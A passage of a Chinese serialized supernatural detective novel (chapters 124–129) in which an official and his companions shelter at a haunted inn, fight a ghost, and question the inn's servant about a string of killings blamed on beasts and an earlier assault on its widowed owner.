颜正初高深莫测地眯了一下眼睛,才道:“这恶鬼现在想混淆视听,故意满城跑,但只要她还在这城中,我就一定能找到她。”
“这么说,就是还没结果?”
“…是。”
夏熙墨又看了他一眼,那眼神仿佛在说——就知道你这道士没用。
而颜正初被她看这么一眼,瞬间就耳清目明了。
“有了有了,不过显示,她刚刚出了上京城,往北方而去。”
“事不宜迟,我们得尽快跟上,不能让她脱离在我们的掌控范围之外。”
余琅当即道:“我去通知任大人…”
他正要往外走,任风玦的身影却倒映在正厅的窗棂上。
只见他鸦青色的薄氅之下,是一身黑色劲装,腰悬宝剑,头发梳得利落齐整。
乍一眼望去,竟比平日里多了几分侠气。
余琅有些惊讶:“大人消息这么灵通?”
任风玦显然也是有备而来:“颜道长早前便与我们说好了,一旦发现鬼物踪迹,即刻出发。”
——
夜色深沉,云遮月影。
一辆四架马车,出北城门,向着宽阔的官道而去。
颜正初一路紧盯着罗盘上的“鬼气”,在将要抵达一座城镇时,鬼气突然化烟而去。
然而,就在这时,天幕忽然雷声滚滚,瞬间就下起了瓢泼大雨。
这种情况之下,任风玦只好吩咐阿夏就近找一座客栈落脚。
可这座名为“葛镇”的小城镇,虽与皇城离得不远,夜间的情形,却有着天壤地别。
此时的街道上,几乎不见人影,偶尔有两间商铺亮着灯,不等靠近,灯便熄灭了。
来来去去找了好几条街道,才找到一家名为“琼影”的客栈。
然而,客栈门前虽挂着灯笼,店门却是紧闭着的。
阿夏上前叩了好半天的门,都不见有人应,就在他以为店内无人时,门忽然吱呀一声,开了一条缝隙。
一道人影出现在门后,几乎看不清脸。
阿夏问:“可有客房?”
里面的人,一动不动盯了阿夏一会儿,才幽幽说道:“这间客栈刚死过人,你们确定
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要住吗?”
阿夏不由得一愣。
这话说得实在太过直接了。
倒让他一时反应不过来。
里面的人轻蔑一笑,像是在嘲笑他胆小,正要将人合上。
阿夏却用手抵住了房门,厉色道:“待我先请示一下我家主人。”
说着,他撑伞快步跑到马车前,向车内众人说了此事。
任风玦掀起车帘子,朝那客栈内看了一眼。
黑夜之中,只有一盏灯笼亮着光,十分不起眼。
甚至,还透着一丝诡异之气。
他看了一眼根本收不住的雨幕,眼底闪过一丝异色:“先进去看看,既是开门做生意,就算死过人,也没什么。”
阿夏去而复返,告知给店家。
店门这才慢慢敞开来,但里面的人,却根本不出来迎候。
见状,阿夏只能让众人先下车,自己则在店旁找了一处漏雨的草棚,将车子停了下来。
任风玦等人踏入店门,立即只觉得一股阴寒之气迎面扑来。
颜正初皱了一下眉头,低声道:“此处阴气好重…”
一旁余琅目光四下一掠,也觉得后脊背一阵发凉。
店堂内只有柜台前立着一人,明明隔着一段距离,对方竟也耳尖地听到了他的话。
“都说死过人了,当然阴气重。”
对方声音阴冷,又看不清面容,但从音色分辨,一时竟分不清究竟是男是女。
任风玦立即上前了一步,问道:“店内就只有你一人?”
“是。”
“这客栈不小,你一个人可忙得过来?”
里面的人阴恻恻一笑,语气更是让人毛骨悚然:“因为常常**,伙计、跑堂、账房、厨子,都跑了,更别提住店的客人。”
“你们要是够胆的话,住一晚就知道了。”
余琅看不惯他这样的态度,忍不住出声道:“你少在这里吓唬人,就算有鬼,没看到我这儿还有一位道长吗?”
“鬼?”那人又是轻蔑冷笑,“恶人可比恶鬼可怕多了。”
余琅正待与他继续分辨,一旁任风玦却直接从怀里掏出两锭银子:“废话少说,直接安排五间上房。”
第124章 伙计
听见银钱叩在台面上发出的轻响。
柜台内的人,总算往前靠了一步,借着案台上的烛火,依稀能看清半张脸。
似乎是个男人。
但面相阴柔,眼神透着邪气。
他先是收了银钱,才道:“不巧,上等客房只有两间,但现在能住人,只有一间。”
“因为其中一间,三天前才死过人,至今,里面的血迹还没人收拾呢。”
听他这么说,任风玦皱了一下眉头,“为何不收拾?”
那人冷冷掠了他一眼,像是在恐吓:“因为死得太惨,就像是被什么野兽啃噬过,血肉模糊。”
“官府的人,也是花费了很大力气,才将尸体抬走。”
“我只是一个普通百姓,又哪敢进去?”
任风玦却并没有因为他这番话而变了脸色,反而质问他:“这店被你说得那么邪乎,那你为何还要守在这店里?这间店是你的?”
那人似乎停顿了一下,眼底闪过一丝异色,随后才道:“我是店内伙计,我答应过掌柜,在她回来之前,替她守着这间店,有问题吗?”
“当然没有。”
任风玦意有所指地道:“这年头,还能见到如此忠心的伙计,不多见。”
那伙计没再应声,拿起烛灯便走在前面引路。
一边走,一边说着店内的规矩。
“提前讲好,这间店内,没有热水,也不能随叫随到。”
“若要吃食,是要另付价钱的…”
“夜里有什么声响,可能是老鼠,也有可能——是**的怪物。”
“你们若是听见了,最好不要好奇走出来。”
说到这里时,他已经来到二楼的一间房间门口,见门牌上写着——天字号,应该就是上房。
他推开房门,说道:“这间上房,你们谁住?”
任风玦很自然地回头看了一眼夏熙墨,似乎在犹豫,这间房要不要给她。
走在最后的夏熙墨像是立即懂了他的心思,连忙上前一步。
“我住。”
“等等…”
倒是那伙计忍不住拦住她,像是有些不可思议,问她:“你一个姑娘家,住这间房不害怕?”
“左手边那间,可就是‘地字号’房…”
意思很明显,那间房内,三天前才死过人。
夏熙墨冷冷扫了她一眼,虽没说话,却足以让人感受到压迫力。
伙计嚅嗫了一下唇,似乎欲言又止,但还是将入口让了出来。
接着,他又将隔了一条走廊的另外几间房的房门全都打开。
“这里有四间客房,你们请自便了。”
余琅捏着鼻子,挨个儿朝里面扫了一眼,顿时眉头蹙起。
里面不仅狭**仄,且还透着一股浓郁的霉味…
他不禁怀疑,里面的被褥枕头,究竟还能不能睡人?
“你这房间多久没住过人了?”
伙计一脸漠然:“自死过第一个人起,就没什么人来住了,上次来住的,也是一个外来客。”
余琅心里立即有个不好的预感,问:“那个人?该不会也**吧?”
“是,确实**。”
“……”
余琅连忙拉着颜正初,小声道:“道长,咱们夜里还是同住一间吧?”
要是有贼作乱,他还能与之一战。
要是有鬼,那还得靠颜正初。
但颜道长看了一眼房内床铺,十分嫌弃,“房间太小了,又只有一张床,只怕容不下咱们俩这体型…”
“我还是住你隔壁吧,夜间若有异动,你直接喊我便是。”
余琅又忍不住四下看了一眼,问他:“那你有没有发现这里面有什么不对劲?”
颜正初正色道:“这里虽然阴气重,但暂时还没有看到鬼魂,你大可以放心。”
听他这么说,余琅才算松了一口气。
由于出京时走得匆忙,夜里又赶了一大段路程,此时已近子夜,众人除了觉得乏累之外,肚子也有些饿了。
任风玦唤来伙计,又递了一锭银子,喊他给众人煮几碗面条。
那伙计收了钱,态度依然散漫:“厨房里只剩下一些粗面了,前两日还让老鼠啃过,你们要是咽得下,我就去给你们煮。”
听了这话,颜正初忍不住教训他:“你既然收了钱,就想办法
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给我们弄点能吃来,你以为钱就那么好挣?”
伙计轻哼一声,“我只是将实情告知给你们而已,你们听不听,是你们的事。”
任风玦连忙道:“你既然住在这店里,平日总要吃饭吧?那就把你平日吃的东西,给我们一人上一些。”
伙计听了这话,才转身去了。
见状,任风玦立即朝不远处的阿夏使了一下眼色。
听见伙计脚步声远去,他又四下看了看。
客栈年久失修,还有一些漏雨,木制地板很潮湿,脚踩在上面,会发出咯吱声,听在耳里尤其突兀。
而外面风雨飘摇,好似冥冥之中注定,他们必然得来一趟这间客栈…
“颜道长。”
任风玦向颜正初问道:“现下可还能找到那鬼物的踪迹?”
颜正初立即再次拿出罗盘,借着最后一丝鬼气,在这座镇上寻找白轻霜的踪迹。
然而,只见指针在盘中不停转动,最终,所显示的位置,竟就在这间客栈内。
“怎会这么巧?”
颜正初喃喃自语,觉得事情不简单。
他向任风玦道:“虽然这间客栈内,暂时看来没有魂魄,但一定有古怪之处,我这‘觅魂术’显示,白轻霜就在此地。”
“啊?”
余琅心下可谓一阵跌宕起伏。
颜正初却向他道:“余公子,我这里还有一瓶‘骨灰’,还是由你负责,先撒在这间客栈内。”
因上次在“般若境”撒灰时遭到恶鬼在背后偷袭,余琅没能做成此事。
此时自然欣然同意了:“这次放心交给我…”
颜正初从怀里拿出瓶子,递给他,并嘱咐道:“此物就剩下最后一瓶了,可要省着点用。”
“必不负所托!”
余琅拿了“骨灰”,便开始辨认方位。
这次倒是十分顺利,就将瓶中灰,撒在了客栈角落。
而就在他收了瓶子转身的那一刻,一阵阴风吹过,身后的墙壁上,竟有一道影子慢慢浮现。
余琅隐隐感受到后背发凉,当即回过头去,下一秒,一道黑影,迅速朝着自己笼罩了过来。
第125章 怪物
黑影笼罩过来的那一刻。
余琅只觉得背后有人拉了自己一把,随后,便见颜正初迅速挡在自己身前,并打出了一道符咒。
金光闪过,黑影发出凄厉痛呼,立即滚在地上,现出了形。
众人望去,并不是白轻霜,而是一只外形看似被野兽啃噬过的鬼魂…
见它浑身上下没有一块好肉,可谓死状极其凄惨。
任风玦与余琅常年与凶案打交道,见过不少死状各异的尸体,是以,还能保持镇定。
而颜正初却不行。
他虽见过不少鬼,却还是第一次见到死得如此凄惨可怖的鬼。
顿时,胃里一阵翻涌,忍不住扶着一旁的栏杆干呕了起来。
任风玦本想上前一步,却被一只手拦住了。
他回头,立即对上一双幽冷的眼睛,“你靠太近,会吓跑它。”
夏熙墨朝着那鬼魂的方向靠近了两步,保持着不远不近的距离,低声问道:“是谁杀了你?”
这个问题,让那鬼魂蓦地抬首,一双布满血丝的眼睛里,全是惊恐。
它张了张嘴,“怪…物!”
夏熙墨:“什么怪物?”
它本想再说些什么,不知何从飘来一缕白色烟雾,径自钻入它的眉心,不到片刻,躯体便化作了一滩黑水。
正扶着栏杆干呕的颜正初立即发现了不对劲,大喊:“是赋楼鬼物!”
闻言,任风玦下意识将夏熙墨往身侧拉。
楼内却在顷刻之间,起了一层浓雾,几乎覆盖了整间客栈的原貌,空气中忽然响起女子笑声。
笑声响起那刻,众人视线里立即出现无数只女子的手,与赋楼大堂的那只琉璃巨手,一模一样。
颜正初立即喊道:“大家闭上眼睛。”
说着,他直接祭出玉剑,大念法咒。
众人只觉得脚下地板震动得厉害,片刻后,声音消失,四周归于沉静。
再睁开眼睛时,一切又恢复如常。
颜正初立即掏出罗盘四下看了看,却又不见了白轻霜的身影,他气恼道:“这鬼物,当真狡猾…”
任风玦见动静消失,这才意识到自己正紧紧抓着夏熙墨的手。
他连忙松手拉开距离,再看身后,余琅正抱着栏杆,吓得不轻:“道长,刚刚那场面,可太诡异了!”
颜正初道:“是那白轻霜用了魂术迷惑我们,可惜又让她跑了…”
而这时,楼梯间传来脚步声。
任风玦转头看了一眼,竟是那伙计端着食物上来了。
面对地上一滩诡异的黑水,那伙计皱了一下眉头:“你们刚刚在这里做什么?弄脏了我的客栈,是要赔钱的!”
颜正初怒道:“你这客栈这么脏,本道长才替你收服了一只恶鬼,理应你给我钱才对。”
“恶鬼?”
伙计看了一眼地上的黑水,语气轻蔑:“你该不会指的是这个吧?”
余琅也忍不住道:“你还别不信,你这客栈确实有鬼。”
“哦。”
伙计满不在乎地应了一声,却道:“既然有鬼,你们爱住不住。”
说着,他不管不顾将食物放进其中一间房内,转身就要离去。
“慢着。”
夏熙墨忽然走到那伙计跟前,说道:“你带我去那死过人的房间看看。”
闻言,伙计面上明显闪过一丝惊诧之色。
“你确定要看?”
“是。”
伙计这才发现,面前这女子虽看着弱质纤纤,但从骨子里散发出的幽冷气质,实则比旁边那位身份尊贵的男人还要“吓人”。
他原本还想说些什么,只觉得一股诡异的力量,从头顶笼罩了过来,四肢微微僵住。
这种感觉,好似在告诫他…
“好,既然你不怕,就来吧。”
伙计走在前面带路,路过“天字号”房间时,明显停顿了一下,随后才走到“地字号”房前。
只见房门上缠着一条手臂般粗实的锁链,并且,还上了一把厚重的大锁。
随着伙计掏出钥匙,将铁锁打开,锁链掉在地上,发出沉闷声响。
接着,房门吱呀一声开了,一股浓郁的血腥气立即扑面而来。
伙计侧身立在门边,既不进去,也不说话,一副“悉听尊便”的神情。
夏熙墨自魂体融合之后,嗅觉亦比先前更加灵敏。
光是从血腥味之中,她就能闻出,这间房内的死者,与刚刚那化作黑水的鬼魂,几乎一致。
房内昏暗,还是阿夏主
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动拿了一支烛火过来。
而在幽冷的火光映照之下,整个房内的“凄惨之状”亦被众人收入眼底。
到处都是血痕,几乎让人无处下脚。
地上,桌椅,床榻,墙壁,甚至房顶处,皆是触目惊心的血。
饶是“阅案无数”的任风玦,见到如此血腥的场面,也感到有些不适。
一年前,他倒是破过一桩灭门案,当时卷宗陈述——血染红了整个房屋。
如今,看到眼前此景,也算是应证了。
夏熙墨只停顿了一下,便从阿夏手中拿走烛火,跨过门槛走了进去。
一旁伙计见状,忍不住又多看了两眼,似乎为她的胆识感到惊讶。
任风玦立即尾随其后。
余琅捂住鼻子,与颜正初相视一眼后,却见对方后退了一大步。
看样子,颜道长并不打算趟浑水。
走在最前面的夏熙墨举着烛火,四下看了看,灯魂无忧不敢现身,但还是忍不住探出一双眼睛,打量四周。
“啧啧,怎么会有这么多血迹?感觉像是野兽所为…”
只有山间最凶猛的野兽,在捕捉猎物之时,才会用尖牙与利爪,将猎物活活撕碎,啃噬至死。
而通过地上的一些人类毛发与衣物来判断,确实像是野兽所为!
夏熙墨忽然想到那阴魂口中所说的“怪物”。
这客栈内,难道藏了什么凶悍嗜血的野兽?
任风玦环视一周后,心里也有了自己的判断。
他忽然沉声唤道:“阿夏。”
门外阿夏应道:“公子。”
“将这店内伙计抓起来,押到楼下大堂。”
“是。”
阿夏当即上前,不过三两下,便将伙计擒住。
伙计脸色一变,一边挣扎,一边怒喊道:“你们是什么人?凭什么抓我?信不信我报官抓你们?”
一旁余琅嘻嘻一笑,拿出大理寺腰牌,向那伙计说道:“不劳你走一趟,我们就是官。”
伙计瞪大眼睛看了一眼那牌子,又喊道:“就算你们是官,不去抓**凶手,抓我一个无辜百姓做什么?”
任风玦慢慢走出“地字号”房间,冷冷望着他,说道:“本官现在怀疑,你就是**凶手。”
第126章 问话
客栈店堂,灯火幽冷。
任风玦正坐堂中,左侧站着余琅,右侧立着颜正初。
面前,阿夏擒住那伙计,以膝盖顶在对方小腿处,迫使他向前跪了下来。
夏熙墨则隔了一些距离,冷眼旁观。
“叫什么名字?何方人士?”
那伙计虽被迫跪在地上,但面对上方问话,却嘴硬并不应声。
阿夏揪起他的后衣领:“大人问话,还不快回?”
伙计仰着脸,眼神里却透着鄙夷之色:“什么大人?也不过都是官官相护的无耻之辈罢了。”
阿夏闻言,正待掌嘴,却被任风玦制止。
“你说‘官官相护’又是何意?”
伙计冷睨了他一眼,“你心中难道不清楚?还要在这里假惺惺?”
余琅忍不住上前一步,大声道:“现在坐在你跟前的,可是刑部侍郎任大人,你一个小小伙计,别有眼不识泰山,问你话,就好好答!”
听见“刑部侍郎”四字,伙计面上倒闪过一丝异色。
其实,从这群人进门起,他就感受到了他们身上与众不同的气质。
特别是为首这名男子,通身气度不凡,一看非富即贵。
想过是高门大户的公子,出来行走江湖,却不料,竟是朝廷命官!
竟还这般年轻?
任风玦将伙计面上细微的变化,收入眼底,却向一旁阿夏点头示意了一下。
伙计察觉身后人松了手,倒疑惑抬起头来,却对上一双含着笑意的眼睛。
“你且起来说话吧。”
他依言起身,对方又指着对面的位置,“请坐。”
那伙计面对突如其来的客气举动,竟也不怕有诈,直接就在任风玦面前毫无顾忌坐了下来。
任风玦上下扫了他一眼,又问:“你这伙计倒是很有脾气,叫什么名字?”
这回,伙计倒是应答得爽快了,“十三,没有姓。”
任风玦推测:“‘十三’应该是这店内老板娘取的名字吧?”
伙计顿住,反问他:“你怎么知道这店内是老板娘?”
“猜的。”
任风玦慢慢站起身来,像是在打量四周:“单从这客栈名字来推测,‘琼’或‘影’字,应该是从店主身上取的字吧?”
“这客栈虽看起来破旧,但从布置格局,以及柜台上一些摆设来看,店主应该是一个心思极其细腻的女子。”
“而且…看得出,你与她感情很好,以至于她常站的柜台内,还保持着干净齐整,不像其他地方,灰尘堆积,你也视而不见。”
听了这话,十三眼底闪过一丝诧异:“你倒是好眼力。”
任风玦微微一笑,问他:“就是不知,这掌柜究竟去了何处,竟将客栈丢下不管了?”
“她…”
十三似乎有些动容,但也只是一霎,他又恢复了那副满不在乎的神情:“我也不知她究竟去了何处,但我答应过,要在这里等她,便会一直守着客栈…”
一旁余琅忍不住道:“那你这伙计也不见得有多么恪尽职守,把人家客栈守得这副鬼气森森的样子,又哪里可能会有生意?”
十三微微冷笑:“本地人不来,却不代表没有外地人来,‘天有不测风云’,自然会有生意。”
余琅故意挑了一下眉头,加重语气:“哦!那你这是专宰外客的黑店,我们若是现在抓你也不冤。”
“有证据吗?”
十三倒是理直气壮:“门是你们自己进的,我可没逼你们,且那银子都是他主动给的,我也没开口要过吧?”
“你倒是伶牙俐齿!”
余少卿被气得噎了噎。
任风玦随即把话接了过去,只道:“那店内**的事情,你们掌柜知道吗?”
“不知。”
“发生了这么大的事情,身为掌柜,竟不知晓,也不出面?”
“她去的地方很远,不知道也正常。”
“可你方才才说,你并不知道她去了何处,现在却又说…她去的地方很远?”
十三被问得愣了愣。
任风玦见机继续提问:“客栈内,应该不止发生过一起命案吧?那第一起,是什么时候?”
十三犹豫了一下,才吐出三个字:“半年前。”
任风玦又问:“案发在哪间房?什么时间地点?死者是何身份?”
十三眉宇之间闪过一丝不耐,
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“发生那么久,我怎么记得?而且,这些案件在镇官那里,皆有录供,且还会报上县衙,你作为京城里的大官,难道一无所知?”
任风玦心下也起了疑云。
这些,他确实不知。
余琅则立即分辨道:“任大人每日都有大案子需要处理,天底下的案子那么多,他哪能件件知悉?”
十三冷哼一声:“那若是连接**很多人呢?算是大案子了吧?”
“都说你们官官相护了,还不承认?”
任风玦也皱了一下眉头:“一共**多少人?”
十三声音更冷:“少说也有二十余人了吧。”
这话让任风玦与余琅皆是一惊。
半年间,**将近二十余人?
为何他们身在京城,竟一点消息都不知?
是有人在刻意隐瞒?
任风玦正待继续问话,门外却响起了一阵敲门声。
没想到这个时辰,居然还有投宿的客人。
十三掠了他一眼,问道:“生意来了,你们当官的,该不会连生意都不让我做了吧?”
任风玦点头示意了一下。
敲门声由缓到急,甚至,还伴随着怒骂之声:“到底有没有人?**,快开门啊!”
一看就来者不善。
果然,十三才打开门,还未出声,便被门外的人用力推了一把。
“你这伙计是死的吗?老子敲了那么久的门,没听见?”
十三身躯本就瘦弱,被重重推倒在地,竟是愣住半晌,才慢慢站起身来。
他虽狼狈,却依然嘴硬:“这店里死过人…”
“少在这里说什么屁话,大爷要住店!”
进店的,是一名身躯高大的粗犷男子,披着一件深灰色羊裘,头戴毡帽。
虽只身一人,深夜投店,却气势压人。
他走进店堂,目光一掠,见里面居然还有好几个人,倒惊了一下,“看不出,这么个破店,住的人还挺多!”
“应该都是来避雨的吧?”
“这不知什么破镇?一来就那么大雨,把老子都淋湿了!”
说着,摘下帽子,又朝身后喊了一声:“车停好了没?还不快滚进来?”
第127章 外客
随着男人一声喊,雨幕里,又匆匆忙忙走来一名身形枯瘦的仆人。
他佝偻着背,不顾满身雨水,跌跌撞撞进了室内,呈双手接过主人递来的帽子。
“已经停好了二爷!”
被称作二爷的男人反手却给了他一耳光,“磨磨唧唧,手脚不知道麻利点?快去给老子安排住的地方。”
“是是是。”
仆人抹了一把脸上的雨水,朝室内看了一眼,目光最后落在了十三身上,并恭恭敬敬行了一礼。
“这位小哥,有劳安排一间上房。”
十三瞥了那二爷一眼,冷然道:“已经没有上房了。”
“什么?!”二爷闻言果然暴跳如雷:“你这客栈这么大,居然没有上房?”
听他如此咋咋呼呼,十三倒是面不改色,“确实没有。”
二爷浓眉倒竖,当即走到十三面前,一把揪住了他的衣裳,几乎要将他从地上擎起来。
然而这时,一旁却有人喝止了他,“住手。”
一旁众人看了半天的“戏”,还是余少卿先一步忍不住了。
他已暗自摩拳擦掌:“难怪说恶霸恼人,今日本公子还真是见识到了!”
闻言,那二爷立即斜睨了他一眼,却骂道:“小白脸,少管闲事,知——”
话还未说完,那“小白脸”一个疾步就上前来,在自己尚未看清动作的情况之下,身上多处痛遭一击,竟腿脚一软跪在了对方跟前。
“……”
余琅俯瞰着那二爷,“初次见面,何以行此大礼?”
二爷涨得满脸通红,想要起身,竟被对方一手按住了肩头,一时竟动弹不得。
这是,遇到高手了?
一旁仆人见自家主人受制,竟直接过来,跪在余琅跟前,叩头不止。
“这位公子,我家二爷脾气不好,得罪公子,绝对是无心之过!公子大人有大量,还请放过我家二爷一马…”
听了仆人的话,余琅不由得皱眉:“你这什么二孙子的,待你非打即骂,你还要替他求情?”
那仆人头也不敢抬,只道:“公子说的哪里话?小人是二爷的奴仆,别说打骂两句了,就算二爷想要小人的命,小人也是毫无怨言。”
“离谱。”
对那仆人,余琅实在无话可说,便向二爷告诫道:“你打你的仆人,本公子无话可说,但这店伙计可没惹你,你若再敢动手伤人,可别怪我不客气!”
那二爷心里虽不服他,但嘴上倒不敢占便宜,只喊道:“你速速放开我!”
余琅松了手,退到一旁。
二爷在众人跟前丢了脸面,转头就把气都撒在仆人身上,当即就重重踹了两脚。
仆人生生受了这两脚,竟还赔了一个笑脸,“二爷您消消气…”
“消什么气?老子看见你就来气!”
说着,又要再踹一脚,可才刚抬脚,就自己将自己绊倒在地上,直接摔了个狗啃泥。
他这一举动,惹来余琅、颜正初忍不住扑哧笑了一声。
而任风玦则下意识看了夏熙墨一眼。
只见她静静立在角落,面色冰冷,仿佛所有的事情,都与自己无关。
无人在意的是,她那只垂在衣袖下的手指,正在悄悄运力。
二爷“猝不及防”将自己绊倒在地,摔得狼狈之极。
这让他心中怒火更盛。
待起身后,又想再来一次,却以同样的方式再摔了一次。
他身形高大,这样摔了两次过后,竟有些头晕眼花,终于不得不消停了。
“给老子安排房间!快点!”
“是是是。”
仆人只得再次走到十三跟前,照着那房价牌上价钱,递上了一贯钱,“劳烦小哥,就给安排一间中等客房吧。”
有了前面的银锭,十三还哪里将这贯钱放在眼里,他勉强收了,嘴上却问:“你们两个人,难道只要一间房?”
不等二爷说话,仆人立即附和道:“房间是给二爷住的,我在门前守着就好。”
“……”
十三冷哼一声,顺着楼梯上去,嘴上又将店内规矩说了一遍。
“店内没有热水,没有吃食,也不能随叫随到…”
听他这么说,那二爷自然又不高兴了。
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“什么破店?连热水和吃的都没有?”
十三冷恻恻看了他一眼,继续道:“这店内有一间上房,常常**,所以,店内没什么客人,伙计更只有我一个,忙不过来。”
那二爷听了这话,气焰莫名就消了。
转念一想,这店内确实有些阴冷可怕,且自打进店起,自己就倒霉得很。
难道,是因为**的缘故?
心里这样想着,不免有些惴惴不安。
偏偏这时,一声闷雷,又在天幕间炸开,顿时暴雨如注。
二爷再望向这间阴森森的客栈时,心里更是瘆得慌。
走在前面的十三,像是看出了他的心思,立即顿足嘲讽一句:“怎么?怕了?不敢住了?”
听出他语气里轻视之意,二爷当即硬着头皮道:“廖二爷天不怕地不怕,怕鬼?哼!”
十三又是冷冷一笑,领着主仆二人走过“地字号”上房,过一条走廊后,推开一间房门。
“就是这间了。”
仆人率先进去掌灯,那廖二爷见到房内情形,更是一百个不满意。
但窗外雨势不收,他们主仆二人已经在镇内兜转了很久,才找到这么一处客栈。
所以,就算这里真死过人,他也没有别的选择。
“算了算了,将就一下吧!”
“什么破地方,趁早关门!”
“还杵着干什么?给爷找衣裳啊!”
十三听着这二爷骂骂咧咧,眼底闪过一抹异色,却终究什么也没说,转身走了。
走到“地字号”门前,他顺势捡起地上锁链,又将房门重新锁上,这才慢慢下了楼。
楼下众人还在等他。
十三倒自觉上前去,冷冷说了一句:“还有什么要问的,一并问吧。”
任风玦也不啰嗦,直接开口道:“我想知道,半年前,在这客栈内死的第一人,究竟是什么情形,你再好好想想。”
这次,十三总算不再嘴硬了。
他掀起唇角,语气森冷,带着嘲讽之意,说道:“当时死的可不是一个人。”
“什么?”
“而是九个。”
第128章 琼影
“而是九个”这四个字,从十三口里蹦出来的时候,任风玦与余琅相视了一眼,面色很是难看。
原来这案子,比他们想象之中,要复杂得多。
窗外雨声沥沥,十三开始回想琼影客栈,这开张后三年来的一些事迹…
葛镇属于鄢县下的一座小镇,是西北两地通往上京城的必经之地。
因地势缘故,许多自西北而来的商人,去往京城时,都会选择在此地留宿一晚。
“琼影客栈”在葛镇的地理位置虽不好,却向来生意兴隆。
因地方够大够宽敞,房间也够多,是很多外地行商的第一选择。
当然,除此之外,生意好的原因,也与这客栈老板娘黄玉琼大有关系。
相传,这黄老板是个年轻寡妇,并非土生土长的鄢县人,而是在三年前,行商的丈夫死后,才独自在此开了一间客栈。
她性子开朗爱笑,生得娇媚可人,又十分爱打扮。
这所谓的“打扮”,还不止她个人的衣饰妆容,就连整个客栈的装饰,也与别处不同。
她喜欢花,不仅在门前后院种植花卉,在房牌刻上花名,还会每日在柜台、以及每间客房内摆上鲜花。
一楼店堂内,无论什么季节都保持着干净明亮,客人住的客房更不必说,就连马厩都收拾得毫不含蓄。
这样的口碑,口口相传之间,自然会有不少人慕名而来。
可时间一长,人多口杂,又难免会变了味道。
开始有人传她“风骚入骨”,靠着“卖弄风情”,才诱得这些人前赴后继,甚至暗讽寡妇门前是非多。
而听到这些风言风语的黄玉琼却并不在意,她想,自己一个异乡人来到此处讨生活,本就要比别人难得多,若还要计较一些流言蜚语,岂不是给自己找不快?
当十三为她打抱不平不时,她会拉着十三说道:“让他们说两句也没什么,反正我行得正,坐得端,赚的都是良心钱。”
说着,还会冲着十三粲然一笑,露出一排贝齿。
十三是黄玉琼在来葛镇路上捡的乞丐。
他当时被疯狗咬伤了腿,躺在路上只剩下一口气。
险些要见阎王时,黄玉琼救了他,花钱替他治了腿伤不说,后面开了客栈后,还留他在店内干活,包吃包住,工钱还给得丰厚。
十三曾经没有名字。
他自幼被父母抛弃,是一个老乞丐可怜他,将他收在身边。
所以,他生来就是乞丐,只能到处流浪。
可黄玉琼却说:“我在家中最小,排行十二,你比我小,不如就叫十三,以后给我当弟弟。”
十三就成了他的名字。
她也确实做到了,将他当作亲弟弟一般看待。
三年之间,客栈已经越开越好,可流言蜚语也越来越多。
甚至,在黄玉琼走在街上时,都会无故被人指指点点。
十三看在眼里,听在耳里,记在心里。
他想悄悄给老板娘出恶气,便在夜里偷偷翻入那些人的院子里,打烂他们新糊的窗纸。
前面几次时,侥幸没被发现,后来被人蹲了,打了一顿,扭送进官府,又被打个半死。
黄玉琼得知后,花了大价钱去镇官那里赎他出来,却没有责骂他一句。
只向他承诺,等多挣些钱,就把这间客栈关了,带他一起到上京去。
上京是大地方,去了那里就不会有这么多流言蜚语了吧?
也一定能容得下他们。
十三也憧憬着这么一天。
半年前的一日黄昏,琼影客栈来了一支九人商队。
他们一来,就扬言要包下整间客栈。
好在夏季属于淡季,因为太过炎热,往来行商并不多。
于是,在老板娘黄玉琼的招待之下,一群人便住进了客栈内。
起初,一切如常,但到了夜里,这群人叫了酒菜,到一楼店堂内大饮。
酒酣耳热之际,开始以各种理由,频频传唤老板娘。
最后,干脆要拉着她一同喝酒。
黄玉琼以为,只需要像往常那样,稍微应付一下,这些人尽了兴,就会回房睡觉去。
毕竟商队走南闯北都很辛苦,大多人都不会在外惹是生非。
而一切,也确实如她所料,喝到将近亥时,众人就散了回房。
然而,子时左右,“地字
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号”房的大当家突然再喊老板娘送酒。
当时黄玉琼正与账房对账,便让十三将酒送上去,不到片刻,楼上便传来酒坛子砸碎在地上的声音。
接着,那大当家在门前破口大骂。
黄玉琼以为是十三得罪了人,便又另拿了一坛酒上去,想要赔礼道歉。
可那大当家砸酒的理由竟是——他喊的是老板娘,不是伙计!
十三欲要与他理论,却被狠狠推倒在地上。
黄玉琼只能赔个笑脸,亲自将酒送入房中,还吩咐十三去厨房拿些小菜。
十三虽不情愿,但还是去了,结果回来时,却发现“地字号”大门紧闭,两名大汉阻在门前,不让进去。
里面传来老板娘的呼救声。
这时店内,加上十三,便只有两个伙计,一个账房,一个厨子。
账房只是文弱书生,厨子也不欲惹事,另一名伙计,见守在门前的大汉生得高大威猛,顿时心生胆怯,一时间面面相觑,谁也不敢上楼去。
只有十三,拿起棍子便冲上去救人,却被大汉给徒手拦了下来。
他那瘦弱的身躯,根本不可能是那两人的对手,听见黄玉琼的呼救声,他发了狠,对着其中一人的手臂狠狠咬了一口。
那人吃痛,他又踩了对方一脚,这才得以机会往里面闯去…
可是,在推开房门的那刻,他只感到绝望。
一屋子都是人。
除了守在门口的两人之外,其他七人都在房间内,他们将黄玉琼围在中间,十三只能隐隐看见一点青色…
那是黄玉琼用来束发的头巾。
十三歇斯底里大叫,可就在他不管不顾打算冲进去时,却被门外人一棒子敲晕在地。
等他再醒来时,竟已经是第二天。
如同做了一场噩梦,猛然惊醒过来。
但眼前的场景却告诉他,根本不是梦。
官府的人来了,且还是县衙捕快。
“地字号”房已被封锁,掌柜也不见了踪迹。
他昏昏沉沉间,分不清虚实,却被官府的人抓了起来。
领头捕头告诉他,昨晚的那支商队,一共九人,已经全部**。
第129章 借刀
听到九人全部**,连颜正初都忍不住要问话了:“是**的?”
余琅推测:“莫非是**而死?”
“无论是**的,这九人都是死有余辜了!”
“确实死有余辜!”
两人一人接一句,任风玦却蹙眉沉思,并未问话。
一旁夏熙墨眼底深沉,却抬头看了一眼“地字号”房间。
十三依然冷冷一笑:“官府的人说,九个人是被野兽咬死的。”
余琅一惊,“哪儿来的野兽?”
“不知道。”
十三眼底流露出鄙夷之色:“当时官府的人,将全客栈的人抓去县衙审问了一遍,没问出什么,便以‘野兽伤人’给结了案。”
“对于我们掌柜失踪一事,却置之不理。”
余琅怒道:“这鄢县衙门…还真是蛇鼠一窝啊,上回那个柳氏母子惨死之案,也是他们做的假吧?”
任风玦并未明说,但只要一联想,也知道其中的利害关系。
鄢县衙门草草结案,肯定是不想事情闹大。
半年前,恰好是老县令在位的最后半年,他年事已高,肯定想以更安稳的方式,致仕还乡。
一起九人的命案,不是小案。
但若能以最稳妥最不费力的方式结案,又何乐不为呢?
